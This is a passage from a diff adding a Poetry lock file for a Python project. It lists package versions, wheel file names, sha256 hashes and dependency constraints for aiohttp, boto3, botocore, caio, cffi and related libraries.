"sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"}, + {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"}, + {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"}, + {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"}, + {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"}, + {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"}, + {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"}, + {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"}, + {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"}, + {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"}, + {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"}, + {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"}, +] + +[package.dependencies] +aiosignal = ">=1.1.2" +async-timeout = ">=4.0.0a3,<5.0" +attrs = ">=17.3.0" +charset-normalizer = ">=2.0,<4.0" +frozenlist = ">=1.1.1" +multidict = ">=4.5,<7.0" +yarl = ">=1.0,<2.0" + +[package.extras] +speedups = ["Brotli", "aiodns", "cchardet"] + +[[package]] +name = "aioitertools" +version = "0.11.0" +description = "itertools and builtins for AsyncIO and mixed iterables" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"}, + {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"}, +] + +[package.dependencies] +typing_extensions = {version = ">=4.0", markers = "python_version < \"3.10\""} + +[[package]] +name = "aiormq" +version = "6.6.4" +description = "Pure python AMQP asynchronous client library" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"}, + {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"}, +] + +[package.dependencies] +pamqp = "3.2.1" +yarl = "*" + +[[package]] +name = "aiosignal" +version = "1.3.1" +description = "aiosignal: a list of registered asynchronous callbacks" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"}, + {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"}, +] + +[package.dependencies] +frozenlist = ">=1.1.0" + +[[package]] +name = "anyio" +version = "3.7.1" +description = "High level compatibility layer for multiple asynchronous event loop implementations" +optional = false +python-versions = ">=3.7" +files = [ + {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"}, + {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"}, +] + +[package.dependencies] +exceptiongroup = {version = "*", markers = "python_version < \"3.11\""} +idna = ">=2.8" +sniffio = ">=1.1" + +[package.extras] +doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"] +test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] +trio = ["trio (<0.22)"] + +[[package]] +name = "async-timeout" +version = "4.0.2" +description = "Timeout context manager for asyncio programs" +optional = false +python-versions = ">=3.6" +files = [ + {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"}, + {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"}, +] + +[[package]] +name = "atomicwrites" +version = "1.4.1" +description = "Atomic file writes." +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "atomicwrites-1.4.1.tar.gz", hash = "sha256:81b2c9071a49367a7f770170e5eec8cb66567cfbbc8c73d20ce5ca4a8d71cf11"}, +] + +[[package]] +name = "attrs" +version = "23.1.0" +description = "Classes Without Boilerplate" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] + +[[package]] +name = "boto3" +version = "1.24.59" +description = "The AWS SDK for Python" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"}, + {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"}, +] + +[package.dependencies] +botocore = ">=1.27.59,<1.28.0" +jmespath = ">=0.7.1,<2.0.0" +s3transfer = ">=0.6.0,<0.7.0" + +[package.extras] +crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] + +[[package]] +name = "botocore" +version = "1.27.59" +description = "Low-level, data-driven core of boto 3." +optional = false +python-versions = ">= 3.7" +files = [ + {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"}, + {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"}, +] + +[package.dependencies] +jmespath = ">=0.7.1,<2.0.0" +python-dateutil = ">=2.1,<3.0.0" +urllib3 = ">=1.25.4,<1.27" + +[package.extras] +crt = ["awscrt (==0.14.0)"] + +[[package]] +name = "caio" +version = "0.9.12" +description = "Asynchronous file IO for Linux MacOS or Windows." +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"}, + {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"}, + {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"}, + {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"}, + {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"}, + {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"}, + {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"}, + {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"}, + {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"}, + {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"}, + {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"}, + {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"}, + {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"}, + {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"}, + {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"}, + {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"}, + {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"}, + {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"}, + {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"}, + {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"}, + {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"}, +] + +[package.extras] +develop = ["aiomisc-pytest", "pytest", "pytest-cov"] + +[[package]] +name = "certifi" +version = "2023.5.7" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, +] + +[[package]] +name = "cffi" +version = "1.15.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = "*" +files = [ + {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, + {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, + {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, + {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, + {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = 